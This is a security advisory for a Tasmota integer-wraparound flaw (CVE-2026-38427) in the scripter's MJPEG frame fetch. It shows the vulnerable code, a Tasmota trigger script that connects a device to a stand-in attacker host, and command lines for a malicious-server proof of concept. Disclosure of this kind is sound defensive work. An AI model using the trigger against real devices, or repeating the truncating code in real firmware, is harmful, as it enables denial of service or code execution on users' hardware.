CVE: CVE-2026-38427
Severity: Critical (CVSS 9.8)
Product: Arendst Tasmota
Affected Version: <= 15.3.0.3
File: tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino
Function: fetch_jpg() — case 2 (MJPEG frame fetch)
Author: Saidakbarxon Maxsudxonov
Disclosure: Responsible — reported to Tasmota before publication
A uint16_t integer wraparound vulnerability exists in the fetch_jpg() function of Tasmota's scripter driver. When a Tasmota device fetches MJPEG frames from an attacker-controlled server, the Content-Length header value is read into a uint16_t variable via atoi(). Values greater than 65535 silently wrap around (e.g., 65537 → 1), causing a drastically undersized heap buffer to be allocated. The device then reads only the wrapped number of bytes from the stream, leaving the remainder in the stream buffer, causing heap/stream state corruption that leads to a crash (DoS) or potential remote code execution.
// tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino
// Case 2: fetch next MJPEG frame
char inbuff[64];
stream.readBytesUntil('\n', inbuff, sizeof(inbuff)); // reads "Content-Length: 70000"
char *cp = strchr(inbuff, ':');
uint16_t size = 0;
if (cp) {
size = atoi(cp + 1); // atoi() returns int 70000
// IMPLICIT TRUNCATION: uint16_t = 70000 & 0xFFFF = 4464
}
uint8_t *buff = (uint8_t *)special_malloc(size); // malloc(4464) — too small!
if (buff) {
stream.readBytes(buff, size); // reads only 4464 bytes
// 65536 bytes remain in stream → corruption
}| Content-Length (header) | uint16_t value | Buffer allocated | Bytes unread |
|---|---|---|---|
| 65536 | 0 | 0 (skipped) | 65536 |
| 65537 | 1 | 1 byte | 65536 |
| 70000 | 4464 | 4464 bytes | 65536 |
| 131072 | 0 | 0 (skipped) | 131072 |
An attacker who can make a Tasmota device connect to their HTTP server (via a malicious Tasmota script or MITM) can send MJPEG frames with Content-Length values exceeding 65535. The device will:
- Allocate a small buffer (wrapped value)
- Read only a fraction of the data
- Leave remaining bytes corrupting the HTTP/WiFi stream state
- Crash or exhibit undefined behavior leading to potential RCE
Trigger via Tasmota script:
>D
>B
fetchjp(ATTACKER_IP:PORT/stream,0,0,1)
>1
=fetchjp(2,0,0,1)
The PoC runs a fake MJPEG HTTP server that sends frames with malicious Content-Length values:
python3 CVE-2026-38427_poc.py --port 8889 --cl 65537
python3 CVE-2026-38427_poc.py --port 8889 --cl 131072See CVE-2026-38427_poc.py for full implementation.
- Confidentiality: High (RCE possible on ESP32)
- Integrity: High
- Availability: High (guaranteed crash/reboot)
- Attack Vector: Network
- Authentication: None required (device must be scripted to connect to attacker server)
- 2026-03-29: Vulnerability discovered and reported to MITRE
- 2026-03-29: CVE-2026-38427 assigned
- 2026-05-xx: Patch released by Tasmota (v15.3.0.4+)
- Tasmota GitHub
- xdrv_10_scripter.ino
- CVE-2026-38427